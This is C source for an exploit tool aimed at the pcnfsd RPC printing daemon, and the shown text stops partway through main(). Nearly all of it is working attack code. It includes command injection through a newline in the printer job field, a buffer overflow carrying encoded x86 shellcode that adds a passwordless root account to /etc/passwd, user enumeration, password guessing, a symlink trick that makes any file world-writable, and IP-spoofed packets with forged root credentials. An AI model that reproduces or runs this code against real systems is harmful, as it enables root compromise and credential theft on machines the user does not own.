/*
 
 prout.c : (ab)use of pcnfs RPC program (version 2 only).
 
 [part of the rpc project, 981007]
 
 happy birthday route..
 
						ga <duncan@mygale.org>
 
*/

//#include <disclaimer.h>
#include <string.h>			// strcpy and co
#include <stdio.h>
#include <stdlib.h>			// malloc, free, strtol
#include <signal.h>			// signal(), alarm()
#include <unistd.h>			// getopt, getuid, geteuid
#include <errno.h>			// perror
#include <netdb.h>			// gethostbyname
#include <sys/time.h>
#include <sys/types.h>
#include <sys/socket.h>			// socket interface
#include <linux/socket.h>
#include <linux/in.h>			// ip protocol (IPPROTO_*)

#define LEN_HDR_IP	20
#define LEN_HDR_UDP	8
#define LEN_HDR_RPC	24
#define LEN_AUTH_UNIX   72+12		// length authentification field
// (credentials=null) plus
// length hostname%4 ("localhost")

#define ROUND_VALUE(value) (value/4+(value%4?1:0))

int ctimeout;
int verbose=0;

struct ip_hdr				// 20
  {
    unsigned char      ver;
    unsigned char      tos;
    unsigned short int length;
    unsigned short int identification;
    unsigned short int fragoff;
    unsigned char      ttl;
    unsigned char      protocol;
    unsigned short int checksum;
    unsigned long  int sip;
    unsigned long  int dip;
  };

struct udp_hdr				// 8
  {
    unsigned short int sport;
    unsigned short int dport;
    unsigned short int length;
    unsigned short int checksum;
  };

// RPC common hdr

struct rpc_hdr				// 24
  {
    unsigned long  xid;
    unsigned long  type_msg;
    unsigned long  version_rpc;
    unsigned long  prog_id;
    unsigned long  prog_ver;
    unsigned long  prog_proc;
  };

// RPC pcnfsd call args

struct pr_cancel_args			// 722(4)
  {
    unsigned long  len_pn;
    char           printername[64];
    unsigned long  len_clnt;
    char           name[64];
    unsigned long  len_username;
    char           username[64];
    unsigned long  len_printerjobid;
    char           printerjobid[255];
    unsigned long  len_comments;
    char           comments[255];
  };
#define LEN_HDR_PCN_CANCEL	sizeof(struct pr_cancel_args)

struct pr_mapid_args
  {
    unsigned long  len_comments;
    char           comments[255];
    unsigned long  req_list;
    unsigned long  mapreq;
    unsigned long  uid;
    unsigned long  len_username;
    char           username[64];
    unsigned long  mapreqnext;
  };
#define LEN_HDR_PCN_MAPID	sizeof(struct pr_mapid_args)

struct pr_auth_args
  {
    unsigned long  len_clnt;
    char           name[64];
    unsigned long  len_id;
    char           id[32];
    unsigned long  len_passwd;
    char           passwd[64];
    unsigned long  len_comments;
    char           comments[255];
  };
#define LEN_HDR_PCN_AUTH	sizeof(struct pr_auth_args)

struct pr_init_args
  {
    unsigned long  len_clnt;
    char           name[64];
    unsigned long  len_pn;
    char           printername[64];
    unsigned long  len_comments;
    char           comments[255];
  };
#define LEN_HDR_PCN_INIT        sizeof(struct pr_init_args)

struct pr_info_args
  {
    unsigned long  len_version;
    char           version[255];
    unsigned long  len_comments;
    char           comments[255];
  };
#define LEN_HDR_PCN_INFO        sizeof(struct pr_info_args)


void handler_timeout(int foo)
{
  alarm(0);
  ctimeout=1;
}

void set_alarm()
{
  alarm(10);
  ctimeout=0;
}

int readfd(fd, buffer, sizeb)
int fd;
char *buffer;
int sizeb;
{
  int nb;

  signal(SIGALRM, handler_timeout);
  set_alarm();

  while(1)
    {

      nb=read(fd, (char *)buffer, sizeb);

      if (ctimeout)
        {
          ctimeout--;
          close(fd);
          fprintf(stderr, "udp answer timeout\n");
          return -2;
        }

      if (nb<0)
        {
          perror("read");
          close(fd);
          return -1;
        }
      else break;
    }
  alarm(0);
  return nb;
}

// PR_AUTH uses xor-crypted login/passwd
void crypt_xor(dest_str, source_str)
char *dest_str;
char *source_str;
{
  while (*source_str)
    {
      *dest_str++=(*source_str^0x5b) & 0x7f;
      source_str++;
    }
  *dest_str=0;
}


// It's ugly.. I know.
void dump_packet(unsigned char *pkt, int lenpkt)
{
  register int m;
  register int n;
  register unsigned char *data;

  printf("(%d bytes)\n", lenpkt);

  data=pkt;
  for (m=0;m<lenpkt;m++)
    {
      if( (!(m%2)) && (m!=0) ) putchar(' ');
      if( (!(m%8)) && (m!=0) )
        {
          n=m;
          for (n=8;n>0;n--)
            {
              if ((*(data+m-n)>31) && (*(data+m-n)<127))
                printf("%c", *(data+m-n));
              else
                putchar('.');
            }
          putchar('\n');
        }
      printf("%02x",*(data+m));
    }
  for (m=0;m<(8-((lenpkt%8)?(lenpkt%8):8))*2+(4-((lenpkt%8)?(lenpkt%8-1):7)/2)
       ;m++) putchar(' ');
  for (m=lenpkt-((lenpkt%8)?(lenpkt%8):8);m<lenpkt;m++)
    {
      if ((*(data+m)>31) && (*(data+m)<127))
        printf("%c", *(data+m));
      else
        putchar('.');
    }
  printf("\n\n");
}

// humm.. SOCK_RAW/IPPROTO_RAW, bad idea to use that, but well...
int make_raw_socket()
{
  int s;
  int opt=1;

  if ((s=socket(AF_INET, SOCK_RAW, IPPROTO_RAW))<0)
    {
      perror("socket");
      return -1;
    }
  if ((setsockopt(s, IPPROTO_IP, IP_HDRINCL, (char *)&opt, sizeof(opt)))<0)
    {
      perror("setsockopt IP_HDRINCL");
      return -1;
    }
  return s;
}

// spoof of the RPC auth unix authentification
void make_auth_unix(authptr)
unsigned long *authptr;
{
  struct timeval tv;

  gettimeofday(&tv, (struct timezone *) NULL);

  *(  authptr)=htonl(1);				       // auth unix
  *(++authptr)=htonl(LEN_AUTH_UNIX-16);                       // length auth
  *(++authptr)=htonl(tv.tv_sec);			       // local time
  *(++authptr)=htonl(9);	        	               // length host
  strcpy((char *)++authptr, "localhost");                     // hostname
  authptr+=(3);					       // len(host)%4
  *(  authptr)=htonl(0);				       // uid root
  *(++authptr)=htonl(0);				       // gid root
  *(++authptr)=htonl(9);				       // 9 gid grps
  // group root, bin, daemon, sys, adm, disk, wheel, floppy, "user gid"
  *(++authptr)=htonl(0) ;
  *(++authptr)=htonl(1) ;
  *(++authptr)=htonl(2);
  *(++authptr)=htonl(3) ;
  *(++authptr)=htonl(4) ;
  *(++authptr)=htonl(6);
  *(++authptr)=htonl(10);
  *(++authptr)=htonl(11);
  *(++authptr)=htonl(0);
}


unsigned long int resolve_host_name(char *hname)
{
  unsigned long inetaddr;
  struct  hostent *h_ent;

  if ((inetaddr=inet_addr(hname))==-1)
    {
      if (!(h_ent=gethostbyname(hname)))
        {
          fprintf(stderr, "can't resolve host %s\n", hname);
          exit(1);
        }
      bcopy(h_ent->h_addr, (char *)&inetaddr, h_ent->h_length);
    }
  return(inetaddr);
}

/*
 
 Execute a command with the id of a user on a remote system.
 
 It's not part of the pcnfsd implementation... pcnfsd_misc.c doesn't correctly
 check all the escaped shell charaters. Therefore, it's possible to execute a 
 "command" using the escape shell character '\n' (phf bug..).
 
 "command" must not contain any of these characters : ";|&<>`'#!?*()[]^/" 
 otherwise pcnfs daemon rejects the call.
 
*/

int make_pcnfsd_PRCANCEL(pkt,lenpkt, sip, sport, dip, dport, username,
                         printername, command)
unsigned char *pkt;
int lenpkt;
unsigned long  sip;
unsigned short int sport;
unsigned long  dip;
unsigned short int dport;
char *username;
char *printername;
char *command;
{
  int raws;
  unsigned long *authp;

  struct ip_hdr           *iph;
  struct udp_hdr          *udph;
  struct rpc_hdr          *rpch;
  struct pr_cancel_args   *prh;

  struct sockaddr_in s_in;
  struct sockaddr    *sa=(struct sockaddr*)&s_in;

  iph=      (struct ip_hdr*)         (pkt);
  udph=     (struct udp_hdr*)        (pkt+LEN_HDR_IP);
  rpch=     (struct rpc_hdr*)        (pkt+LEN_HDR_IP+LEN_HDR_UDP);
  authp=    (unsigned long *)        (pkt+LEN_HDR_IP+LEN_HDR_UDP+LEN_HDR_RPC);
  prh=      (struct pr_cancel_args *)(pkt+LEN_HDR_IP+LEN_HDR_UDP+LEN_HDR_RPC
                                      +LEN_AUTH_UNIX);

  iph->ver=0x45;
  iph->length=htons(lenpkt);
  iph->identification=htons(0x6761);
  iph->ttl=0xff;
  iph->protocol=IPPROTO_UDP;
  iph->checksum=htons(0);			  // OS will do it for us..
  iph->sip=sip;
  iph->dip=dip;
  udph->sport=htons(sport);
  udph->dport=htons(dport);
  udph->length=htons(lenpkt-LEN_HDR_IP);
  udph->checksum=htons(0);			  // XXX no udp checksum
  rpch->xid=htonl(0x67616761);			  //     it has to be done..
  rpch->type_msg=htonl(0);
  rpch->version_rpc=htonl(2);
  rpch->prog_id=htonl(150001);
  rpch->prog_ver=htonl(2);
  rpch->prog_proc=htonl(7);			  // PCNFSD_PROC_PRCANCEL
  prh->len_pn           =htonl(63);
  prh->len_clnt         =htonl(63);
  prh->len_username     =htonl(63);
  prh->len_printerjobid =htonl(254);
  prh->len_comments     =htonl(254);
  strcpy(prh->printername,  printername);
  strcpy(prh->username,     username);
  strcpy(prh->name,         "localhost");
  strcpy(prh->printerjobid, "whocares");
  prh->printerjobid[7]='\n';
  strcpy(&prh->printerjobid[8], command);
  prh->printerjobid[7+strlen(command)+1]='\n';
  strcpy(prh->comments,"Indeed, 'rm -rf rpc.pcnfsd' would be a good choice.");

  make_auth_unix(authp);

  if ((raws=make_raw_socket())==-1)
    {
      return -1;
    }

  bzero((char *)&s_in, sizeof(s_in));
  s_in.sin_family=AF_INET;
  s_in.sin_port=htons(911);			// whatever
  bcopy(&dip, &s_in.sin_addr, sizeof(struct in_addr));

  if ((sendto(raws, (char *)pkt, lenpkt, 0, (struct sockaddr*) sa,
              sizeof(struct sockaddr)))==-1)
    {
      perror("send");
      close(raws);
      return -1;
    }

  if (verbose) dump_packet(pkt, lenpkt);

  close(raws);
  return 0;
}

/*
 
 Retrieve remotely all logins (with uid) from a system.
 It's part of the pcnfsd implementation.
 
*/

int make_pcnfsd_PRMAPID(pkt, lenpkt, dip, dport, lo_uid, up_uid)
unsigned char *pkt;
int lenpkt;
unsigned long  dip;
unsigned short int dport;
int lo_uid;
int up_uid;
{
  int nbytes, sock;
  unsigned long *authp;
  unsigned long ansrpc[256];

  struct rpc_hdr         *rpch;
  struct pr_mapid_args   *prh;

  struct sockaddr_in s_in;
  struct sockaddr    *sa=(struct sockaddr*)&s_in;

  rpch=     (struct rpc_hdr*)        (pkt);
  authp=    (unsigned long *)        (pkt+LEN_HDR_RPC);
  prh=      (struct pr_mapid_args *) (pkt+LEN_HDR_RPC+LEN_AUTH_UNIX);

  rpch->xid=htonl(0x67616761);
  rpch->type_msg=htonl(0);
  rpch->version_rpc=htonl(2);
  rpch->prog_id=htonl(150001);
  rpch->prog_ver=htonl(2);
  rpch->prog_proc=htonl(12);		            // PCNFSD_PROC_PRMAPID
  prh->len_comments     =htonl(254);
  prh->req_list	 =htonl(1);		    // only one req_list
  prh->mapreq           =htonl(0);                 // MAP_REQ_UID
  prh->len_username     =htonl(63);
  prh->mapreqnext       =htonl(0);		    // end req_list

  make_auth_unix(authp);

  if((sock=socket(AF_INET, SOCK_DGRAM, 0))<0)
    {
      perror("socket");
      return -1;
    };

  bzero((char *)&s_in, sizeof(s_in));
  s_in.sin_family=AF_INET;
  s_in.sin_port=htons(dport);
  bcopy(&dip, &s_in.sin_addr, sizeof(struct in_addr));

  for (lo_uid; lo_uid<=up_uid;lo_uid++)
    {

      prh->uid=htonl(lo_uid);

      if ((sendto(sock, (char *)pkt, lenpkt, 0, (struct sockaddr*) sa,
                  sizeof(struct sockaddr)))==-1)
        {
          perror("send");
          close(sock);
          return -1;
        }

      if (verbose) dump_packet(pkt, lenpkt);

      signal(SIGALRM, handler_timeout);
      set_alarm();

      while(1)
        {
          nbytes=read(sock, (char *)ansrpc, 1024);
          if (ctimeout)
            {
              fprintf(stderr, "uid %i : udp packet lost or no answer from "
                      "the server\n", lo_uid);
              break;
            }
          if (nbytes<0)
            {
              perror("read");
              close(sock);
              return -1;
            }
          else break;
        }
      alarm(0);

      if (!ctimeout)
        {

          if ( (ansrpc[2]!=htonl(0)) || (ansrpc[5]!=htonl(0)) )
            {
              fprintf(stderr, "RPC answer status : bad proc/version/auth\n");
              close(sock);
              return -1;
            }

          if (verbose) dump_packet((unsigned char*)ansrpc, nbytes);

          if (ntohl(ansrpc[6+ROUND_VALUE(ntohl(ansrpc[6]))+3])==0)
            printf("uid %i, user %s\n",
                   ntohl(ansrpc[6+ROUND_VALUE(ntohl(ansrpc[6]))+4]),
                   (char*)&ansrpc[(6+ROUND_VALUE(ntohl(ansrpc[6]))+6)]);

        }
    }
  close(sock);
  return 0;
}

/*
 
 Return a list of available printers on the server.
 
*/

int make_pcnfsd_PRLIST(pkt, lenpkt, dip, dport)
unsigned char *pkt;
int lenpkt;
unsigned long  dip;
unsigned short int dport;
{
  int nbytes, sock;
  unsigned long *authp;
  unsigned long buffer[256];
  unsigned long *ansrpc;

  struct rpc_hdr         *rpch;

  struct sockaddr_in s_in;
  struct sockaddr    *sa=(struct sockaddr*)&s_in;

  rpch=     (struct rpc_hdr*)        (pkt);
  authp=    (unsigned long *)        (pkt+LEN_HDR_RPC);

  rpch->xid=htonl(0x67616761);
  rpch->type_msg=htonl(0);
  rpch->version_rpc=htonl(2);
  rpch->prog_id=htonl(150001);
  rpch->prog_ver=htonl(2);
  rpch->prog_proc=htonl(4);			    // PCNFSD_PROC_PRLIST

  make_auth_unix(authp);

  if((sock=socket(AF_INET, SOCK_DGRAM, 0))<0)
    {
      perror("socket");
      return -1;
    };

  bzero((char *)&s_in, sizeof(s_in));
  s_in.sin_family=AF_INET;
  s_in.sin_port=htons(dport);
  bcopy(&dip, &s_in.sin_addr, sizeof(struct in_addr));

  if ((sendto(sock, (char *)pkt, lenpkt, 0, (struct sockaddr*) sa,
              sizeof(struct sockaddr)))==-1)
    {
      perror("send");
      close(sock);
      return -1;
    }

  if (verbose) dump_packet(pkt, lenpkt);

  if ((nbytes=readfd(sock, (char *)buffer, 1024))<0)
    return -1;

  if ( (buffer[2]!=htonl(0)) || (buffer[5]!=htonl(0)) )
    {
      fprintf(stderr, "RPC answer status : bad proc/version/auth\n");
      close(sock);
      return -1;
    }

  if (verbose) dump_packet((unsigned char*)buffer, nbytes);

  ansrpc=&buffer[6+ROUND_VALUE(ntohl(buffer[6]))+1];

  printf("printer list (printer name, device, comment):\n");

  while(ansrpc[0]==htonl(1))
    {
      ansrpc++;
      if (ansrpc[0]!=htonl(0)) printf("%s, ", (char *)&ansrpc[1]);
      else printf("- , ");
      ansrpc+=ROUND_VALUE(ntohl(ansrpc[0]))+1;
      if (ansrpc[0]!=htonl(0)) printf("%s, ", (char *)&ansrpc[1]);
      else printf("- , ");
      ansrpc+=ROUND_VALUE(ntohl(ansrpc[0]))+1;   // skip client name
      ansrpc+=ROUND_VALUE(ntohl(ansrpc[0]))+1;
      if (ansrpc[0]!=htonl(0)) printf("%s\n", (char *)&ansrpc[1]);
      else printf("\n");
      ansrpc+=ROUND_VALUE(ntohl(ansrpc[0]))+1;   // next list
    }


  close(sock);
  return 0;
}

/*
 
 Try to guess a combination login/passwd.
 It's part of the pcnfsd implementation.
 
 A failed attempt is _not_ logged but a successful one is logged in
 wtmp (/usr/adm/wtmp)
 
*/

int make_pcnfsd_PRAUTH(pkt, lenpkt, dip, dport, username, password)
unsigned char *pkt;
int lenpkt;
unsigned long  dip;
unsigned short int dport;
char *username;
char *password;
{
  int nbytes, sock;
  unsigned long *authp;
  unsigned long ansrpc[256];

  struct rpc_hdr         *rpch;
  struct pr_auth_args    *prh;

  struct sockaddr_in s_in;
  struct sockaddr    *sa=(struct sockaddr*)&s_in;

  rpch=     (struct rpc_hdr*)       (pkt);
  authp=    (unsigned long *)       (pkt+LEN_HDR_RPC);
  prh=      (struct pr_auth_args *) (pkt+LEN_HDR_RPC+LEN_AUTH_UNIX);

  rpch->xid=htonl(0x67616761);
  rpch->type_msg=htonl(0);
  rpch->version_rpc=htonl(2);
  rpch->prog_id=htonl(150001);
  rpch->prog_ver=htonl(2);
  rpch->prog_proc=htonl(13);		            // PCNFSD_PROC_PRAUTH
  prh->len_clnt         =htonl(63);
  prh->len_id           =htonl(31);
  prh->len_passwd       =htonl(63);
  prh->len_comments     =htonl(254);

  strcpy(prh->comments,  "kill -9 `pidof rpc.pcnfsd` ?");
  strcpy(prh->name,      "localhost");
  crypt_xor(prh->id,        username);
  crypt_xor(prh->passwd,    password);

  make_auth_unix(authp);

  if((sock=socket(AF_INET, SOCK_DGRAM, 0))<0)
    {
      perror("socket");
      return -1;
    };

  bzero((char *)&s_in, sizeof(s_in));
  s_in.sin_family=AF_INET;
  s_in.sin_port=htons(dport);
  bcopy(&dip, &s_in.sin_addr, sizeof(struct in_addr));

  if ((sendto(sock, (char *)pkt, lenpkt, 0, (struct sockaddr*) sa,
              sizeof(struct sockaddr)))==-1)
    {
      perror("send");
      close(sock);
      return -1;
    }

  if (verbose) dump_packet(pkt, lenpkt);

  if ((nbytes=readfd(sock, (char *)ansrpc, 1024))<0)
    return -1;

  if ( (ansrpc[2]!=htonl(0)) || (ansrpc[5]!=htonl(0)) )
    {
      fprintf(stderr, "RPC answer status : bad proc/version/auth\n");
      close(sock);
      return -1;
    }

  if (verbose) dump_packet((unsigned char*)ansrpc, nbytes);

  if (ntohl(ansrpc[6])==0)
    fprintf(stdout, "SUCCESS user \"%s\" (uid %i, gid %i), password \"%s\"\n",
            username, ntohl(ansrpc[7]), ntohl(ansrpc[8]), password);
  else
    fprintf(stderr, "FAILURE: user \"%s\", passwd \"%s\"\n",
            username, password);

  close(sock);
  return 0;
}

/*
 
 Execute a command as root on the system using a buffer overrun.
 Another one ..
 
 Tested on Slackware 3.1 running a compiled rpc.pcnfsd shipped with Slackware
 3.5 (unpatched one). The return address may change with distribs..
 
 If the overflow is successful, then /etc/passwd has the new entry :
 	
 	"prout::0:0::/:/bin/sh"
 
*/

int make_pcnfsd_PROVERFLOW(pkt,lenpkt, sip, sport, dip, dport)
unsigned char *pkt;
int lenpkt;
unsigned long  sip;
unsigned short int sport;
unsigned long  dip;
unsigned short int dport;
{
  int raws;
  unsigned long *authp;

  struct ip_hdr           *iph;
  struct udp_hdr          *udph;
  struct rpc_hdr          *rpch;
  struct pr_cancel_args   *prh;

  struct sockaddr_in s_in;
  struct sockaddr    *sa=(struct sockaddr*)&s_in;

  // buffer overflow data

#define RETADDR   0xbffff740	// return address for pcnfsd
  // @(#)pcnfsd_print.c      1.12    1/29/93
  // used on slackware 3.1 but with code of
  // rpc.pcnfsd shipped with slackware 3.5 (not
  // patched). This value may be different for
  // other linux distribs.
#define BUFFSIZE  250		// no more, no less

  int off;
  unsigned char *bover;
  unsigned long *boverl;

  char execode[100]=				// [asm code (linux x86 only)]
    "\xeb\x0e\x5f\x31\xc9\xb1\x4e\x80\x34\x39" // I had to rewrite a new asm
    "\xc6\x49\x7d\xf9\xeb\x2d\xe8\xed\xff\xff" // code that doesn't contain
    "\xff\x9d\x4f\x18\xf7\x06\xf7\x0f\xf7\x14" // any characters like :
    "\x76\xc3\xa0\x7f\xc7\xc2\x0b\x46\x4f\x05" //
    "\xf7\x06\xf7\x0f\xf7\x14\x76\xc2\x74\xd0" //  ";|&<>`'#!?*()[]^/" and 0s
    "\x77\xca\xc7\x37\x0b\x46\xf7\x06\x86\x0b" //
    "\x46\x2e\x15\x39\x39\x39\xe9\xa3\xb2\xa5" // To crypt it, a simple
    "\xe9\xb6\xa7\xb5\xb5\xb1\xa2\xc6\xb6\xb4" // "xor 0xc6 loop" did the work
    "\xa9\xb3\xb2\xfc\xfc\xf6\xfc\xf6\xfc\xfc" //
    "\xe9\xfc\xe9\xa4\xaf\xa8\xe9\xb5\xae\xcc";// Once decrypted, the code
  // adds the new entry
  // "prout::0:0::/:/bin/sh\n"
  // in /etc/passwd
  // and then it exits cleanly

  iph=      (struct ip_hdr*)         (pkt);
  udph=     (struct udp_hdr*)        (pkt+LEN_HDR_IP);
  rpch=     (struct rpc_hdr*)        (pkt+LEN_HDR_IP+LEN_HDR_UDP);
  authp=    (unsigned long *)        (pkt+LEN_HDR_IP+LEN_HDR_UDP+LEN_HDR_RPC);
  prh=      (struct pr_cancel_args *)(pkt+LEN_HDR_IP+LEN_HDR_UDP+LEN_HDR_RPC
                                      +LEN_AUTH_UNIX);

  // set up code of buffer overflow

  bover=(unsigned char *)&(prh->printerjobid);

  for (off=0; off<(BUFFSIZE/2); off++)	   // 125 non operates
    *(bover++)= 0x90;			   // (x86 nop operand) Hello noppie.

  for (off=0; off<sizeof(execode); off++) // 100 bytes of code
    *(bover++)= execode[off];		   // stick our asm code in the buffer

  boverl=(unsigned long *)bover;

  for (off=0; off<8; off++) 		   // 7 unsigned long RETADDR
    *(boverl+off)=RETADDR;               // our return address (on stack)

  // set up IP packet

  iph->ver=0x45;
  iph->length=htons(lenpkt);
  iph->identification=htons(0x6761);
  iph->ttl=0xff;
  iph->protocol=IPPROTO_UDP;
  iph->checksum=htons(0);			   // OS will do it for us
  iph->sip=sip;
  iph->dip=dip;
  udph->sport=htons(sport);
  udph->dport=htons(dport);
  udph->length=htons(lenpkt-LEN_HDR_IP);
  udph->checksum=htons(0);			   // XXX no udp checksum
  rpch->xid=htonl(0x67616761);
  rpch->type_msg=htonl(0);
  rpch->version_rpc=htonl(2);
  rpch->prog_id=htonl(150001);
  rpch->prog_ver=htonl(2);
  rpch->prog_proc=htonl(7);			   // PCNFSD_PROC_PRCANCEL
  prh->len_pn           =htonl(63);
  prh->len_clnt         =htonl(63);
  prh->len_username     =htonl(63);
  prh->len_printerjobid =htonl(254);
  prh->len_comments     =htonl(254);
  strcpy (prh->printername,  "lp");		   // we assume "lp" is a good
  strcpy (prh->username,     "nobody");	   // printer
  strcpy (prh->name,         "localhost");
  strcpy (prh->comments,"Indeed,'rm -rf rpc.pcnfsd' would be a good choice.");

  make_auth_unix(authp);

  if ((raws=make_raw_socket())==-1)
    {
      return -1;
    }

  bzero((char *)&s_in, sizeof(s_in));
  s_in.sin_family=AF_INET;
  s_in.sin_port=htons(911);			// whatever
  bcopy(&dip, &s_in.sin_addr, sizeof(struct in_addr));

  if ((sendto(raws, (char *)pkt, lenpkt, 0, (struct sockaddr*) sa,
              sizeof(struct sockaddr)))==-1)
    {
      perror("send");
      close(raws);
      return -1;
    }

  if (verbose) dump_packet(pkt, lenpkt);

  close(raws);
  return 0;
}

/*
 
 A local user can chmod(777) any files in the pcnfsd directory (including the
 pcnfsd directory itself "/var/spool/pcnfs" by using a file name "." as arg). 
 
 Therefore, using a symlink, a user can chmod(777) any files on the system.
 
*/

int make_pcnfsd_local_PRINIT(pkt,lenpkt, dip, dport, filename)
unsigned char *pkt;
int lenpkt;
unsigned long  dip;
unsigned short int dport;
char *filename;
{
  int sock;
  unsigned long *authp;

  struct rpc_hdr          *rpch;
  struct pr_init_args     *prh;

  struct sockaddr_in s_in;
  struct sockaddr    *sa=(struct sockaddr*)&s_in;

  rpch=     (struct rpc_hdr*)        (pkt);
  authp=    (unsigned long *)        (pkt+LEN_HDR_RPC);
  prh=      (struct pr_init_args *)  (pkt+LEN_HDR_RPC+LEN_AUTH_UNIX);

  rpch->xid=htonl(0x67616761);
  rpch->type_msg=htonl(0);
  rpch->version_rpc=htonl(2);
  rpch->prog_id=htonl(150001);
  rpch->prog_ver=htonl(2);
  rpch->prog_proc=htonl(2);			   // PCNFSD_PROC_PRINIT
  prh->len_clnt         =htonl(63);
  prh->len_pn           =htonl(63);
  prh->len_comments     =htonl(254);
  strcpy(prh->printername,  "lp");                // PR_INIT doesn't check it
  // anyway
  strcpy(prh->name,         filename);
  strcpy(prh->comments,"Indeed, 'rm -rf rpc.pcnfsd' would be a good choice.");

  make_auth_unix(authp);

  if((sock=socket(AF_INET, SOCK_DGRAM, 0))<0)
    {
      perror("socket");
      return -1;
    };

  bzero((char *)&s_in, sizeof(s_in));
  s_in.sin_family=AF_INET;
  s_in.sin_port=htons(dport);
  bcopy(&dip, &s_in.sin_addr, sizeof(struct in_addr));

  if ((sendto(sock, (char *)pkt, lenpkt, 0, (struct sockaddr*) sa,
              sizeof(struct sockaddr)))==-1)
    {
      perror("send");
      close(sock);
      return -1;
    }

  if (verbose) dump_packet(pkt, lenpkt);

  close(sock);
  return 0;
}

/*
 
 Same as make_pcnfsd_local_PRINIT() but with a spoofed ip/port.
 
*/

int make_pcnfsd_spoof_PRINIT(pkt,lenpkt, sip, sport, dip, dport, filename)
unsigned char *pkt;
int lenpkt;
unsigned long  sip;
unsigned short int sport;
unsigned long  dip;
unsigned short int dport;
char *filename;
{
  int raws;
  unsigned long *authp;

  struct ip_hdr           *iph;
  struct udp_hdr          *udph;
  struct rpc_hdr          *rpch;
  struct pr_init_args     *prh;

  struct sockaddr_in s_in;
  struct sockaddr    *sa=(struct sockaddr*)&s_in;

  iph=      (struct ip_hdr*)         (pkt);
  udph=     (struct udp_hdr*)        (pkt+LEN_HDR_IP);
  rpch=     (struct rpc_hdr*)        (pkt+LEN_HDR_IP+LEN_HDR_UDP);
  authp=    (unsigned long *)        (pkt+LEN_HDR_IP+LEN_HDR_UDP+LEN_HDR_RPC);
  prh=      (struct pr_init_args *)  (pkt+LEN_HDR_IP+LEN_HDR_UDP+LEN_HDR_RPC
                                      +LEN_AUTH_UNIX);

  iph->ver=0x45;
  iph->length=htons(lenpkt);
  iph->identification=htons(0x6761);
  iph->ttl=0xff;
  iph->protocol=IPPROTO_UDP;
  iph->checksum=htons(0);			   // OS will do it for us
  iph->sip=sip;
  iph->dip=dip;
  udph->sport=htons(sport);
  udph->dport=htons(dport);
  udph->length=htons(lenpkt-LEN_HDR_IP);
  udph->checksum=htons(0);			   // XXX no udp checksum, not
  rpch->xid=htonl(0x67616761);			   //     reliable over inet.
  rpch->type_msg=htonl(0);
  rpch->version_rpc=htonl(2);
  rpch->prog_id=htonl(150001);
  rpch->prog_ver=htonl(2);
  rpch->prog_proc=htonl(2);			   // PCNFSD_PROC_PRINIT
  prh->len_clnt         =htonl(63);
  prh->len_pn           =htonl(63);
  prh->len_comments     =htonl(254);
  strcpy(prh->printername,  "lp");                // whatever
  strcpy(prh->name,         filename);
  strcpy(prh->comments,"Indeed, 'rm -rf rpc.pcnfsd' would be a good choice.");

  make_auth_unix(authp);

  if ((raws=make_raw_socket())==-1)
    {
      return -1;
    }

  bzero((char *)&s_in, sizeof(s_in));
  s_in.sin_family=AF_INET;
  s_in.sin_port=htons(911);			// whatever
  bcopy(&dip, &s_in.sin_addr, sizeof(struct in_addr));

  if ((sendto(raws, (char *)pkt, lenpkt, 0, (struct sockaddr*) sa,
              sizeof(struct sockaddr)))==-1)
    {
      perror("send");
      close(raws);
      return -1;
    }

  if (verbose) dump_packet(pkt, lenpkt);

  close(raws);
  return 0;
}

/*
 
 A (remote) user can retrieve the version of the running pcnfs daemon.
 
 If a buffer overrun exists in the pcnfs daemon then, using the version info, 
 an evil user can guess the good return address to put on the stack (this value
 directly depends on the version of pcnfs).
 
*/

int make_pcnfsd_PRINFO(pkt,lenpkt, dip, dport)
unsigned char *pkt;
int lenpkt;
unsigned long  dip;
unsigned short int dport;
{
  int nbytes, sock;
  unsigned long *authp;
  unsigned long ansrpc[256];

  struct rpc_hdr          *rpch;
  struct pr_info_args     *prh;

  struct sockaddr_in s_in;
  struct sockaddr    *sa=(struct sockaddr*)&s_in;

  rpch=     (struct rpc_hdr*)        (pkt);
  authp=    (unsigned long *)        (pkt+LEN_HDR_RPC);
  prh=      (struct pr_info_args *)  (pkt+LEN_HDR_RPC+LEN_AUTH_UNIX);

  rpch->xid=htonl(0x67616761);
  rpch->type_msg=htonl(0);
  rpch->version_rpc=htonl(2);
  rpch->prog_id=htonl(150001);
  rpch->prog_ver=htonl(2);
  rpch->prog_proc=htonl(1);			   // PCNFSD_PROC_PRINFO
  prh->len_version      =htonl(254);
  prh->len_comments     =htonl(254);
  strcpy(prh->comments,"Become safe with this command : echo BAD>rpc.pcnfsd");

  make_auth_unix(authp);

  if((sock=socket(AF_INET, SOCK_DGRAM, 0))<0)
    {
      perror("socket");
      return -1;
    };

  bzero((char *)&s_in, sizeof(s_in));
  s_in.sin_family=AF_INET;
  s_in.sin_port=htons(dport);
  bcopy(&dip, &s_in.sin_addr, sizeof(struct in_addr));

  if ((sendto(sock, (char *)pkt, lenpkt, 0, (struct sockaddr*) sa,
              sizeof(struct sockaddr)))==-1)
    {
      perror("send");
      close(sock);
      return -1;
    }

  if (verbose) dump_packet(pkt, lenpkt);

  if ((nbytes=readfd(sock, (char *)ansrpc, 1024))<0)
    return -1;

  if ( (ansrpc[2]!=htonl(0)) || (ansrpc[5]!=htonl(0)) )
    {
      fprintf(stderr, "RPC answer status : bad proc/version/auth\n");
      close(sock);
      return -1;
    }

  if (verbose) dump_packet((unsigned char*)ansrpc, nbytes);

  if (ntohl(ansrpc[6])!=0)
    printf("pcnfsd version :\n%s\n", (char*)&ansrpc[7]);

  close(sock);
  return 0;
}


void usage(char *progname)
{
  fprintf(stderr, "help : %s -h\n", progname);
  exit(0);
}

void option(char *progname)
{
  fprintf(stderr, "%s :\n", progname);
  fprintf(stderr, "      -i   (infos about %s)\n", progname);
  fprintf(stderr, "      -s   (infos about system on which %s was tested)\n"
          ,progname);
  fprintf(stderr, "      -v   verbose mode (dumps sent/received packets)\n");
  fprintf(stderr, "      -p   destip destport (retrieve printer list)\n");
  fprintf(stderr, "      -w   destip destport (retrieve pcnfs version)\n");
  fprintf(stderr, "      -a   destip destport user passwd\n");
  fprintf(stderr, "      -u   destip destport lower_uid upper_uid\n");
  fprintf(stderr, "      -fl  destip destport filename\n");
  fprintf(stderr, "      -fs  sourceip sourceport destip destport filename"
          "           \n");
  fprintf(stderr, "      -c   sourceip sourceport destip destport username"
          " printername command\n");
  fprintf(stderr, "      -o   sourceip sourceport destip destport\n");
  fprintf(stderr, "      -h   scroll up your term about 10 lines\n");
  exit(0);
}

main(int argc,char **argv)
{
  int lenpacket, arg;
  int flag=0;
  unsigned char *packet;

  while ((arg=getopt(argc, argv, "pwauf:coishv")) !=EOF)
    {

      switch(arg)
        {
